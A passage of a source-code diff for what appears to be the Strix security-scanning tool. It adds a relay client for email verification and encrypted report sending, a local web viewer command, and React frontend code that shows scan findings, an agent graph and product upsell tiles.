"""Verify a code. Returns ``{token, email, expires_at}`` or raises RelayError."""
status, data = _post_json(
"/api/oss/otp/verify",
{"email": email, "code": code},
timeout=_OTP_TIMEOUT,
)
if status == 200 and isinstance(data.get("token"), str):
# A token with no usable expiry cannot unlock history locally (the gate
# fails closed), so treat such a response as a failed verification rather
# than reporting success and then leaving the user stuck unverified.
if parse_expiry(data.get("expires_at")) is None:
raise RelayError("unavailable")
return data
if status == 403:
raise RelayError("invalid_code")
raise RelayError("unavailable")
def report_send(
token: str,
pdf_bytes: bytes,
filename: str,
run_name: str,
target: str,
) -> None:
"""Forward the encrypted PDF to the relay for delivery.
The report password is NEVER part of this payload; only the encrypted PDF
bytes travel to the relay.
"""
payload = {
"token": token,
"pdf_base64": base64.b64encode(pdf_bytes).decode("ascii"),
"filename": filename,
"run_name": run_name,
"target": target,
}
status, _ = _post_json("/api/oss/report/send", payload, timeout=_SEND_TIMEOUT)
if status == 200:
return
if status == 401:
raise RelayError("reverify")
if status == 413:
raise RelayError("too_large")
if status == 403:
raise RelayError("forbidden")
raise RelayError("unavailable")
__all__ = [
"AUTH_PATH",
"RelayError",
"forget",
"is_verified",
"otp_start",
"otp_verify",
"read_auth",
"report_send",
"write_auth",
]
+142
View File
@@ -0,0 +1,142 @@
"""`strix view [<run>]` command: serve a run's viewer UI locally."""
from __future__ import annotations
import argparse
import logging
import time
from typing import TYPE_CHECKING
from rich.console import Console
from strix.core.paths import (
RUNS_DIR_NAME,
latest_run_dir,
run_dir_for,
run_record_path,
runs_base_dir,
)
from strix.viewer.server import authorized_url, bundle_is_built, serve
from strix.viewer.transcript import read_run_summary
if TYPE_CHECKING:
from pathlib import Path
from typing import NoReturn
logger = logging.getLogger(__name__)
def run_view(argv: list[str]) -> None:
parser = argparse.ArgumentParser(
prog="strix view",
description="Open a local web view of a Strix run (live or finished).",
)
parser.add_argument(
"run",
nargs="?",
default=None,
help=f"Run name under ./{RUNS_DIR_NAME} (defaults to the most recent run).",
)
parser.add_argument(
"--port",
type=int,
default=0,
help="Port to serve on (default: an available ephemeral port).",
)
parser.add_argument("--host", default="127.0.0.1", help=argparse.SUPPRESS)
parser.add_argument(
"--no-open",
action="store_true",
help="Do not open the browser automatically.",
)
args = parser.parse_args(argv)
console = Console()
if not bundle_is_built():
console.print(
"[bold red]Viewer UI is not built.[/]\n"
"Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]"
)
raise SystemExit(1)
run_dir = _resolve_run_dir(args.run, console)
httpd, url, token = serve(
run_dir,
host=args.host,
port=args.port,
open_browser=not args.no_open,
)
# The tokened URL is what authorizes the browser (steering, report sending,
# history). Print it rather than the bare URL so the operator -- and only
# the operator -- can open or share an authorized link.
open_url = authorized_url(url, token)
run_name = run_dir.name
summary = read_run_summary(run_dir)
live = not summary.get("finished", False)
from strix.telemetry import posthog
posthog.viewer_opened(source="cli", live=live)
state_label = "[#eab308]live[/]" if live else "[#22c55e]finished[/]"
console.print()
console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at:")
# Print the URL alone on its own line with soft_wrap so Rich never inserts a
# wrap into the (long, tokened) link -- that keeps it selectable/copyable.
console.print(f" [#60a5fa]{open_url}[/]", soft_wrap=True)
console.print("[dim]This link authorizes the browser; anyone you share it with can steer[/]")
console.print("[dim]a live scan and browse history. Press Ctrl-C to stop the viewer.[/]")
console.print()
try:
while True:
time.sleep(1.0)
except KeyboardInterrupt:
console.print("\n[dim]Viewer stopped.[/]")
finally:
httpd.shutdown()
httpd.server_close()
def _resolve_run_dir(run: str | None, console: Console) -> Path:
if run:
run_dir = run_dir_for(run)
if not run_record_path(run_dir).is_file():
_fail_no_run(console, requested=run)
return run_dir
latest = latest_run_dir()
if latest is None:
_fail_no_run(console, requested=None)
return latest
def _fail_no_run(console: Console, *, requested: str | None) -> NoReturn:
base = runs_base_dir()
available = (
sorted(
(child.name for child in base.iterdir() if run_record_path(child).is_file()),
reverse=True,
)
if base.is_dir()
else []
)
if requested:
console.print(f"[bold red]No run named '{requested}' under ./{RUNS_DIR_NAME}.[/]")
else:
console.print(f"[bold red]No runs found under ./{RUNS_DIR_NAME}.[/]")
if available:
console.print("Available runs:")
for name in available[:20]:
console.print(f" [cyan]{name}[/]")
raise SystemExit(1)
__all__ = ["run_view"]
+14
View File
@@ -0,0 +1,14 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="./logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="color-scheme" content="dark" />
<title>Strix Results</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
{
"name": "strix-viewer",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"dependencies": {
"@dagrejs/dagre": "^2.0.4",
"@xyflow/react": "^12.10.1",
"clsx": "^2.1.1",
"diff": "^8.0.3",
"highlight.js": "^11.11.1",
"lucide-react": "^0.563.0",
"react": "^19.2.0",
"react-dom": "^19.2.0",
"react-markdown": "^10.1.0",
"remark-gfm": "^4.0.1",
"tailwind-merge": "^3.4.0"
},
"devDependencies": {
"@tailwindcss/vite": "^4.1.0",
"@types/diff": "^7.0.2",
"@types/react": "^19.2.0",
"@types/react-dom": "^19.2.0",
"@vitejs/plugin-react": "^5.0.0",
"tailwindcss": "^4.1.0",
"typescript": "^5.6.0",
"vite": "^6.0.0"
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

+810
View File
@@ -0,0 +1,810 @@
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import {
ArrowLeft,
AlertCircle,
Waypoints,
Mail,
ChevronDown,
Wrench,
FileCheck2,
CalendarClock,
Radar,
GitPullRequest,
Rocket,
ArrowUpRight,
History,
} from "lucide-react";
import type { Vulnerability, VulnerabilitySeverity } from "@/types/issues";
import { SEVERITY_COLORS } from "@/types/issues";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import VulnerabilityDetail from "@/components/vulnerability/VulnerabilityDetail";
import { ContentSection } from "@/components/vulnerability/ContentSection";
import { IssueSeveritySummary } from "@/components/IssueSeveritySummary";
import AgentGraph from "@/components/live/AgentGraph";
import { buildGraphAgents } from "@/components/live/AgentTranscript";
import AgentDetailModal from "@/components/live/AgentDetailModal";
import { ScanPromptComposer } from "@/components/live/ScanPromptComposer";
import { severityCounts, type ParsedRunSummary } from "@/lib/local-run-parser";
import {
fetchAll,
fetchAuthStatus,
fetchCapabilities,
fetchRunSummary,
fetchRuns,
fetchTranscript,
fetchVulnerabilities,
forgetAuth,
type AuthStatus,
type LoadedRun,
type RunsPayload,
} from "@/data/serverSource";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import { runTitle } from "@/lib/target-utils";
import Sidebar from "@/components/Sidebar";
import PastRunsView from "@/components/PastRunsView";
import EmailReportView from "@/components/EmailReportView";
import { RunDetails } from "@/components/RunDetails";
import { TrustToast } from "@/components/TrustToast";
import FeatureDetail from "@/components/FeatureDetail";
import { ProTile, ProInlineCta, type ProItem } from "@/components/ProCta";
import { FEATURES } from "@/lib/pro-features";
export type View = "overview" | "issues" | "agents" | "history" | "feature" | "email";
const TRUST_BANNER =
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix.";
const SEVERITY_ORDER: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
const POLL_MS = 500;
// Curated inline CTAs. Continuous-coverage row on Overview (the restyled upsell
// tiles), plus the recommendations pairing.
const RECOMMENDATION_CTAS: ProItem[] = [
{ title: "One-click autofix + open a fix PR", desc: "Fix it for you and open a PR, retested.", slug: "autofix", icon: Wrench },
{ title: "Export SOC 2 / ISO 27001 report", desc: "Share an auditor-ready report with your team.", slug: "compliance", icon: FileCheck2 },
];
const COVERAGE_CTAS: ProItem[] = [
{ title: "Scheduled pentesting", desc: "Continuous coverage for your whole org.", slug: "scheduled", icon: CalendarClock },
{ title: "Attack surface monitoring", desc: "Continuous coverage for your whole org.", slug: "asm", icon: Radar },
{ title: "PR reviews", desc: "Pentest every pull request your team opens.", slug: "pr_reviews", icon: GitPullRequest },
];
export default function App() {
const [activeRun, setActiveRun] = useState<string | null>(null);
const [run, setRun] = useState<LoadedRun | null>(null);
const [error, setError] = useState<string | null>(null);
const [selectedId, setSelectedId] = useState<string | null>(null);
const [view, setView] = useState<View>("overview");
const [activeFeature, setActiveFeature] = useState<string | null>(null);
const [auth, setAuth] = useState<AuthStatus | null>(null);
const [runs, setRuns] = useState<RunsPayload | null>(null);
const [emailPurpose, setEmailPurpose] = useState<"report" | "verify">("report");
const [emailSkipDisclosure, setEmailSkipDisclosure] = useState(false);
// Whether this viewer can steer a live scan (true only inside the in-TUI
// launcher that shares the running scan's coordinator + event loop).
const [canSteer, setCanSteer] = useState(false);
const refreshAuth = useCallback(async () => {
try {
setAuth(await fetchAuthStatus());
} catch {
/* auth status is best-effort; the launched run stays viewable */
}
}, []);
const refreshRuns = useCallback(async () => {
try {
setRuns(await fetchRuns());
} catch {
/* history list is best-effort */
}
}, []);
useEffect(() => {
void refreshAuth();
void refreshRuns();
// Capabilities never change over a session, so fetch once on mount.
fetchCapabilities()
.then((caps) => setCanSteer(caps.can_steer))
.catch(() => {
/* absence of steering is the safe default */
});
}, [refreshAuth, refreshRuns]);
// Live polling, scoped to the active run. Re-runs when the active run changes
// so switching to a past run (?run=<name>) reloads its data; a finished run
// does a single full fetch and stops.
const finishedRef = useRef(false);
useEffect(() => {
let cancelled = false;
let timer: ReturnType<typeof setTimeout> | undefined;
finishedRef.current = false;
const schedule = () => {
timer = setTimeout(tick, POLL_MS);
};
const tick = async () => {
if (cancelled) return;
try {
const { summary, raw, finished } = await fetchRunSummary(activeRun);
if (cancelled) return;
if (finished && !finishedRef.current) {
finishedRef.current = true;
const full = await fetchAll(activeRun);
if (!cancelled) setRun(full);
return; // stop polling
}
const [transcript, vulnerabilities] = await Promise.all([
fetchTranscript(activeRun).catch(() => ({ agents: [], events: [] })),
fetchVulnerabilities(summary.runId, activeRun).catch(() => [] as Vulnerability[]),
]);
if (cancelled) return;
setRun((prev) => ({
summary,
raw,
finished,
transcript,
vulnerabilities,
reportMarkdown: prev?.reportMarkdown ?? null,
}));
schedule();
} catch (e) {
if (cancelled) return;
setError(e instanceof Error ? e.message : "Could not load run data.");
schedule();
}
};
(async () => {
try {
const full = await fetchAll(activeRun);
if (cancelled) return;
setRun(full);
if (full.finished) {
finishedRef.current = true;
} else {
schedule();
}
} catch (e) {
if (cancelled) return;
setError(e instanceof Error ? e.message : "Could not load run data.");
schedule();
}
})();
return () => {
cancelled = true;
if (timer) clearTimeout(timer);
};
}, [activeRun]);
const counts = useMemo(
() => (run ? severityCounts(run.vulnerabilities) : null),
[run]
);
const selected = run?.vulnerabilities.find((v) => v.id === selectedId) ?? null;
const agentCount = run?.transcript.agents.length ?? 0;
const verified = auth?.verified === true;
// Per-run guard for the default view: land on Agents while a scan is live,
// Overview once it finishes. Applied at most once per run and never once the
// user has navigated manually (userSetView flips the guard).
const initialViewAppliedRef = useRef(false);
// Reset the guard whenever the active run changes so the newly selected run
// gets its own default.
useEffect(() => {
initialViewAppliedRef.current = false;
}, [activeRun]);
useEffect(() => {
if (initialViewAppliedRef.current || !run) return;
if (run.finished) {
initialViewAppliedRef.current = true;
setView("overview");
} else if (agentCount > 0) {
// Live and agents have appeared: default to the agent graph. If it is
// live but no agents exist yet, wait (do not apply, do not set the flag).
initialViewAppliedRef.current = true;
setView("agents");
}
}, [run, agentCount]);
// User-initiated navigation: mark the default guard applied so the per-run
// default effect never yanks the user off the view they chose.
const userSetView = useCallback((v: View) => {
initialViewAppliedRef.current = true;
setView(v);
}, []);
const selectRun = useCallback((name: string) => {
setActiveRun(name);
setSelectedId(null);
setRun(null);
setError(null);
// Reset the guard so the per-run default applies to the newly selected run.
initialViewAppliedRef.current = false;
}, []);
const goEmail = useCallback((skipDisclosure: boolean, surface: string) => {
trackCta("email_report", surface);
setEmailPurpose("report");
setEmailSkipDisclosure(skipDisclosure);
userSetView("email");
}, [userSetView]);
// Sidebar entry keeps the disclosure (first place those users see it);
const openEmail = useCallback(() => goEmail(false, "sidebar"), [goEmail]);
// the Overview CTA already states the tradeoff, so it starts the flow directly.
const openEmailFromOverview = useCallback(() => goEmail(true, "overview"), [goEmail]);
const openHistory = useCallback(() => {
void refreshRuns();
userSetView("history");
}, [refreshRuns, userSetView]);
const onPastRunsVerified = useCallback(async () => {
await refreshAuth();
await refreshRuns();
}, [refreshAuth, refreshRuns]);
const selectFeature = useCallback((slug: string) => {
trackCta(slug, "sidebar_nav");
setActiveFeature(slug);
userSetView("feature");
}, [userSetView]);
const onForget = useCallback(async () => {
await forgetAuth();
await refreshAuth();
await refreshRuns();
}, [refreshAuth, refreshRuns]);
return (
<div className="min-h-screen bg-black text-white flex">
<Sidebar
view={view}
onSelectView={(v) => {
if (v === "history") openHistory();
else userSetView(v);
}}
activeFeature={activeFeature}
onSelectFeature={selectFeature}
issuesCount={run?.vulnerabilities.length ?? 0}
agentCount={agentCount}
runCount={runs?.count ?? 0}
finished={run?.finished ?? false}
verified={verified}
email={auth?.email ?? null}
onOpenEmail={openEmail}
onOpenHistory={openHistory}
onForget={() => void onForget()}
/>
<div className="flex-1 min-w-0">
{/* Top bar */}
<div className="border-b border-[#222]">
<div className="max-w-[72rem] mx-auto px-6 py-4 flex items-center gap-1.5">
<a
href={ctaUrl("https://app.strix.ai", "logo")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("logo", "topbar")}
className="flex items-center gap-1.5 opacity-90 transition-opacity hover:opacity-100 lg:hidden"
title="Open Strix Cloud"
>
<img src="./logo.png" alt="Strix" className="w-10 h-8 object-cover" />
<div className="text-base text-white font-medium tracking-tight">Strix</div>
</a>
<span className="text-xs text-[#666]">Local results</span>
{run && <LiveIndicator finished={run.finished} />}
<div className="ml-auto flex items-center gap-3">
{verified && runs && !runs.locked && runs.runs.length > 0 && (
<RunSwitcher
runs={runs}
activeRun={activeRun}
launchedName={runTitle(run?.summary.targets[0] ?? null, run?.summary.runName ?? run?.summary.runId ?? "Current run")}
onSelect={selectRun}
/>
)}
<a
href={ctaUrl(SIGNUP_URL, "run_in_cloud")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("run_in_cloud", "topbar")}
className="inline-flex items-center gap-1 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity hover:opacity-90"
>
Run in the cloud
<ArrowUpRight className="w-3 h-3" aria-hidden="true" />
</a>
</div>
</div>
</div>
<div className="max-w-[72rem] mx-auto px-6 py-8 space-y-6">
{error && !run && view !== "history" && view !== "email" && view !== "feature" && (
<div className="rounded-lg px-4 py-3 flex gap-3 items-start border border-red-500/30 bg-red-500/5">
<AlertCircle className="w-5 h-5 flex-shrink-0 mt-0.5 text-red-400" aria-hidden="true" />
<p className="text-sm text-red-300">{error}</p>
</div>
)}
{view === "email" ? (
<EmailReportView
activeRun={activeRun}
auth={auth}
purpose={emailPurpose}
skipDisclosure={emailSkipDisclosure}
onAuthChanged={() => {
void refreshAuth();
void refreshRuns();
}}
onExit={(dest) => setView(dest === "history" ? "history" : "overview")}
/>
) : view === "feature" && activeFeature && FEATURES[activeFeature] ? (
<FeatureDetail feature={FEATURES[activeFeature]} />
) : view === "history" ? (
<div className="space-y-4">
<div className="flex items-center gap-2">
<History className="w-5 h-5 text-[#888]" aria-hidden="true" />
<h1 className="text-2xl font-semibold text-white">Past runs</h1>
</div>
<PastRunsView
runs={runs}
activeRun={activeRun}
onSelectRun={selectRun}
onVerified={() => void onPastRunsVerified()}
/>
</div>
) : !run && !error ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-10 text-center">
<div className="w-6 h-6 mx-auto mb-3 rounded-full border-2 border-[#333] border-t-white animate-spin" />
<p className="text-sm text-[#888]">Loading run data</p>
</div>
) : run && counts ? (
<>
<SummaryHeader summary={run.summary} />
{/* Tab strip: shown on small screens where the sidebar is hidden. */}
<div className="flex gap-5 border-b border-[#2a2a2a] lg:hidden">
<TabButton active={view === "overview"} onClick={() => userSetView("overview")}>
Overview
</TabButton>
<TabButton active={view === "issues"} onClick={() => userSetView("issues")}>
Issues{run.vulnerabilities.length > 0 ? ` (${run.vulnerabilities.length})` : ""}
</TabButton>
{agentCount > 0 && (
<TabButton active={view === "agents"} onClick={() => userSetView("agents")}>
Agents ({agentCount})
</TabButton>
)}
</div>
{view === "overview" ? (
<OverviewTab
summary={run.summary}
counts={counts}
total={run.vulnerabilities.length}
reportMarkdown={run.reportMarkdown}
raw={run.raw}
finished={run.finished}
onOpenEmail={openEmailFromOverview}
/>
) : view === "agents" && agentCount > 0 ? (
<AgentsTab run={run} canSteer={canSteer} />
) : selected ? (
<div className="space-y-4">
<button
onClick={() => setSelectedId(null)}
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] hover:text-white transition-colors"
>
<ArrowLeft className="w-4 h-4" /> Back to all findings
</button>
<VulnerabilityDetail vulnerability={selected} />
</div>
) : (
<FindingsList
vulnerabilities={run.vulnerabilities}
finished={run.finished}
onSelect={(id) => setSelectedId(id)}
/>
)}
</>
) : null}
</div>
</div>
<TrustToast message={TRUST_BANNER} />
</div>
);
}
function RunSwitcher({
runs,
activeRun,
launchedName,
onSelect,
}: {
runs: RunsPayload;
activeRun: string | null;
launchedName: string;
onSelect: (name: string) => void;
}) {
const [open, setOpen] = useState(false);
const activeEntry = runs.runs.find((r) => r.name === activeRun);
const current = activeEntry ? runTitle(activeEntry.target, activeEntry.name) : launchedName;
return (
<div className="relative">
<button
onClick={() => setOpen((o) => !o)}
onBlur={() => setTimeout(() => setOpen(false), 150)}
className="flex items-center gap-1.5 rounded-lg px-2.5 py-1.5 text-xs text-[#aaa] transition-colors hover:text-white"
style={{ border: "1px solid #2a2a2a" }}
>
<History className="w-3.5 h-3.5" aria-hidden="true" />
<span className="max-w-[160px] truncate">{current}</span>
<ChevronDown className="w-3.5 h-3.5" aria-hidden="true" />
</button>
{open && (
<div
className="absolute right-0 z-50 mt-1.5 max-h-80 w-64 overflow-y-auto rounded-lg py-1 shadow-xl"
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
>
{runs.runs.map((r) => {
const active = r.name === activeRun;
return (
<button
key={r.name}
onMouseDown={() => onSelect(r.name)}
className={`flex w-full items-center gap-2 px-3 py-2 text-left text-xs transition-colors hover:bg-[rgba(255,255,255,0.06)] ${
active ? "text-white" : "text-[#aaa]"
}`}
>
<span className="min-w-0 flex-1">
<span className="block truncate">{runTitle(r.target, r.name)}</span>
{r.target && <span className="block truncate font-mono text-[#666]">{r.target}</span>}
</span>
{active && <span className="h-1.5 w-1.5 flex-shrink-0 rounded-full bg-emerald-400" />}
</button>
);
})}
</div>
)}
</div>
);
}
function LiveIndicator({ finished }: { finished: boolean }) {
if (finished) {
return (
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-[#888]">
<span className="w-1.5 h-1.5 rounded-full bg-[#555]" />
Complete
</span>
);
}
return (
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-emerald-400">
<span className="relative flex h-1.5 w-1.5">
<span className="absolute inline-flex h-full w-full rounded-full bg-emerald-400 opacity-75 animate-ping" />
<span className="relative inline-flex h-1.5 w-1.5 rounded-full bg-emerald-400" />
</span>
Live
</span>
);
}
function formatDuration(seconds: number | null): string | null {
if (seconds == null) return null;
if (seconds < 60) return `${seconds}s`;
const m = Math.floor(seconds / 60);
if (m < 60) return `${m}m`;
const h = Math.floor(m / 60);
return `${h}h ${m % 60}m`;
}
function SummaryHeader({ summary }: { summary: ParsedRunSummary }) {
const duration = formatDuration(summary.durationSeconds);
return (
<div>
<h1 className="text-2xl font-semibold text-white">
{runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Scan results")}
</h1>
<div className="mt-1 flex flex-wrap items-center gap-x-3 gap-y-1 text-sm text-[#888]">
{summary.targets.length > 0 && (
<span className="font-mono text-[#aaa]">{summary.targets.join(", ")}</span>
)}
{summary.scanMode && <Meta label={summary.scanMode} />}
{duration && <Meta label={duration} />}
{summary.status && <Meta label={summary.status} />}
</div>
</div>
);
}
function Meta({ label }: { label: string }) {
return (
<>
<span className="text-[#333]">·</span>
<span className="capitalize">{label}</span>
</>
);
}
function FindingsList({
vulnerabilities,
finished,
onSelect,
}: {
vulnerabilities: Vulnerability[];
finished: boolean;
onSelect: (id: string) => void;
}) {
const sorted = [...vulnerabilities].sort(
(a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity)
);
if (sorted.length === 0) {
return (
<div className="space-y-4">
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
{finished ? "No findings in this run." : "No findings yet. The scan is still running…"}
</div>
{finished && (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-medium text-white">Stay ahead of new exposures</p>
<p className="mt-0.5 mb-3 text-xs text-[#666]">
Attack surface monitoring catches new exposures for your org over time.
</p>
<ProInlineCta
label="Attack surface monitoring"
desc="Continuous coverage for your whole org."
slug="asm"
surface="empty_state"
icon={Radar}
/>
</div>
)}
</div>
);
}
return (
<div className="space-y-2">
{sorted.map((v) => (
<button
key={v.id}
onClick={() => onSelect(v.id)}
className="cursor-pointer w-full text-left rounded-lg border border-[#222] hover:border-[#444] bg-[rgba(255,255,255,0.02)] px-4 py-3 transition-colors flex items-center gap-3"
>
<span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${getSeverityDot(v.severity)}`} aria-hidden="true" />
<span className="flex-1 min-w-0">
<span className="block text-sm font-medium text-white truncate">{v.title}</span>
{v.target && (
<span className="block text-xs text-[#666] font-mono truncate">{v.target}</span>
)}
</span>
<span
className={`text-xs font-semibold px-2 py-0.5 rounded-full border capitalize ${SEVERITY_COLORS[v.severity]}`}
>
{v.severity}
</span>
</button>
))}
</div>
);
}
/** Strip a single leading markdown heading (report sections embed their own). */
function stripLeadingHeading(md: string): string {
return md.replace(/^\s*#{1,6}[ \t]+.*(?:\r?\n)+/, "").trimStart();
}
function dedupeHeadings(md: string): string {
const out: string[] = [];
let lastHeading: string | null = null;
for (const line of md.split("\n")) {
const m = line.match(/^#{1,6}\s+(.*)$/);
if (m) {
const norm = m[1].trim().toLowerCase();
if (norm === lastHeading) continue;
lastHeading = norm;
} else if (line.trim() !== "") {
lastHeading = null;
}
out.push(line);
}
return out.join("\n");
}
/** Primary local CTA: email an encrypted PDF. Verify-email affordance, no lock. */
function EmailReportCta({ onOpenEmail }: { onOpenEmail: () => void }) {
return (
<button
onClick={onOpenEmail}
className="group w-full cursor-pointer rounded-xl border border-emerald-500/25 bg-emerald-500/[0.06] p-4 text-left transition-colors hover:border-emerald-500/40"
>
<div className="flex items-center gap-3">
<div
className="flex h-9 w-9 flex-shrink-0 items-center justify-center rounded-lg"
style={{ border: "1px solid rgba(16,185,129,0.3)", background: "rgba(16,185,129,0.08)" }}
>
<Mail className="h-4 w-4 text-emerald-400" aria-hidden="true" />
</div>
<div className="min-w-0 flex-1">
<p className="text-sm font-semibold text-white">Email an encrypted PDF report of this run</p>
<p className="mt-0.5 text-xs text-[#888]">
Encrypted with a key only you can see, email verified with a one-time code before sending.
</p>
</div>
<span className="flex-shrink-0 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity group-hover:opacity-90">
Email report
</span>
</div>
</button>
);
}
function OverviewTab({
summary,
counts,
total,
reportMarkdown,
raw,
finished,
onOpenEmail,
}: {
summary: ParsedRunSummary;
counts: Record<VulnerabilitySeverity, number>;
total: number;
reportMarkdown: string | null;
raw: Record<string, unknown>;
finished: boolean;
onOpenEmail: () => void;
}) {
const sections = (
[
["Executive Summary", summary.executiveSummary],
["Technical Analysis", summary.technicalAnalysis],
["Methodology", summary.methodology],
["Recommendations", summary.recommendations],
] as const
)
.filter(([, content]) => !!content)
.map(([title, content]) => ({ title, content: stripLeadingHeading(content as string) }));
return (
<div className="space-y-6">
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
{total > 0 && (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<IssueSeveritySummary findings={{ total, ...counts }} />
</div>
)}
{/* Primary CTA: the one primary on Overview. Hidden until the run is
finished, since a live scan would only email a partial report. */}
{finished && <EmailReportCta onOpenEmail={onOpenEmail} />}
{sections.length > 0 ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
{sections.map((s) => (
<ContentSection key={s.title} title={s.title} content={s.content} />
))}
</div>
) : reportMarkdown ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<ContentSection content={dedupeHeadings(reportMarkdown)} />
</div>
) : (
total === 0 && (
<p className="text-sm text-[#888]">No summary available for this run yet.</p>
)
)}
{/* Near Recommendations: act on the fixes. */}
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
{RECOMMENDATION_CTAS.map((item) => (
<ProTile key={item.slug} item={item} surface="overview" />
))}
</div>
{/* Continuous coverage for your org (restyled upsell tiles). */}
<div>
<p className="mb-2 text-sm font-semibold text-white">Continuous coverage for your org</p>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
{COVERAGE_CTAS.map((item) => (
<ProTile key={item.slug} item={item} surface="overview" />
))}
</div>
</div>
</div>
);
}
function TabButton({
active,
onClick,
children,
}: {
active: boolean;
onClick: () => void;
children: React.ReactNode;
}) {
return (
<button
onClick={onClick}
className={`cursor-pointer relative pb-2.5 text-sm font-semibold transition-colors ${
active ? "text-white" : "text-[#666] hover:text-white"
}`}
>
{children}
{active && <span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />}
</button>
);
}
function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
const { agents, events } = run.transcript;
const graphAgents = useMemo(() => buildGraphAgents(agents, events), [agents, events]);
// Clicking a graph node opens the agent's transcript in a modal (matching the
// cloud app); no node selected means no modal.
const [selectedId, setSelectedId] = useState<string | null>(null);
const selectedAgent = selectedId ? (agents.find((a) => a.id === selectedId) ?? null) : null;
// Live steering is only possible in-process (canSteer) while the scan runs.
const steerable = canSteer && !run.finished;
return (
<div className="space-y-5">
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<div className="flex items-center gap-2">
<Waypoints className="w-4 h-4 text-[#888]" aria-hidden="true" />
<h2 className="text-sm font-semibold text-white">Agent graph</h2>
<span className="text-xs text-[#666]">
{agents.length} agent{agents.length === 1 ? "" : "s"}
</span>
</div>
<p className="mt-1 mb-4 text-xs text-[#666]">
Click an agent to open its full transcript.
</p>
<div className="h-[480px] rounded-lg border border-[#1a1a1a] overflow-hidden">
<AgentGraph
agents={graphAgents}
selectedAgentId={selectedId}
onSelectAgent={(id) => setSelectedId(id)}
eventsLoaded
eventsEmpty={graphAgents.size === 0}
scanCompleted={run.finished}
/>
</div>
</div>
{/* Live steering: only in-process while the scan runs. Otherwise omitted. */}
{steerable && <ScanPromptComposer agents={agents} />}
{/* Re-run always routes to Strix Cloud. */}
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-semibold text-white">Run this scan with more depth</p>
<p className="mt-0.5 text-xs text-[#666]">Re-run this scan on managed infra in the cloud.</p>
<div className="mt-3 flex flex-wrap gap-2.5">
<ProInlineCta
label="Re-run in Strix Cloud with more depth"
desc="Run this scan on managed infra with more depth."
slug="live_scan"
surface="agents"
icon={Rocket}
/>
</div>
</div>
{selectedAgent && (
<AgentDetailModal
agent={selectedAgent}
events={events}
steerable={steerable}
onClose={() => setSelectedId(null)}
/>
)}
</div>
);
}
@@ -0,0 +1,20 @@
// Extracted ProviderIcon from strix-app's AddRepositoryDialog. The dialog itself
// (and its next/link dependency) is dropped; the IssueSidebar only needs this SVG
// switch to badge a finding's source-control provider. Web-app targets resolve to
// provider === null and never reach here (they render a globe icon instead).
import { Github, Gitlab } from "lucide-react";
function BitbucketIcon({ className }: { className?: string }) {
return (
<svg viewBox="0 0 24 24" fill="currentColor" className={className} aria-hidden="true">
<path d="M2.65 3a.72.72 0 0 0-.72.83l2.86 17.39a.98.98 0 0 0 .96.82h13.72a.72.72 0 0 0 .72-.6l2.86-17.4A.72.72 0 0 0 22.3 3H2.65Zm12.1 12.53H9.3L8.06 8.9h7.8l-1.11 6.63Z" />
</svg>
);
}
export function ProviderIcon({ provider, className }: { provider: string; className?: string }) {
const cls = className ?? "w-4 h-4";
if (provider === "gitlab") return <Gitlab className={`${cls} text-orange-400`} />;
if (provider === "bitbucket") return <BitbucketIcon className={`${cls} text-blue-400`} />;
return <Github className={`${cls} text-white`} />;
}
@@ -0,0 +1,375 @@
import { useEffect, useRef, useState } from "react";
import { Mail, ShieldCheck, Lock, Copy, Check, Loader2, AlertCircle, ArrowLeft } from "lucide-react";
import {
otpStart,
otpVerify,
sendReport,
type AuthStatus,
} from "@/data/serverSource";
import { track } from "@/lib/cta";
/**
* The email-report / email-verification flow rendered as its own page (not a
* modal, so it never floats over another surface). Report mode ends in the
* one-time password panel; verify mode just confirms the email and returns to
* the caller. The page unmounts when you navigate away, so state resets each
* time it is opened.
*/
type Step = "disclosure" | "email" | "code" | "sending" | "password";
interface EmailReportViewProps {
activeRun: string | null;
auth: AuthStatus | null;
purpose: "report" | "verify";
/**
* Skip the report disclosure and start the flow directly (used by the
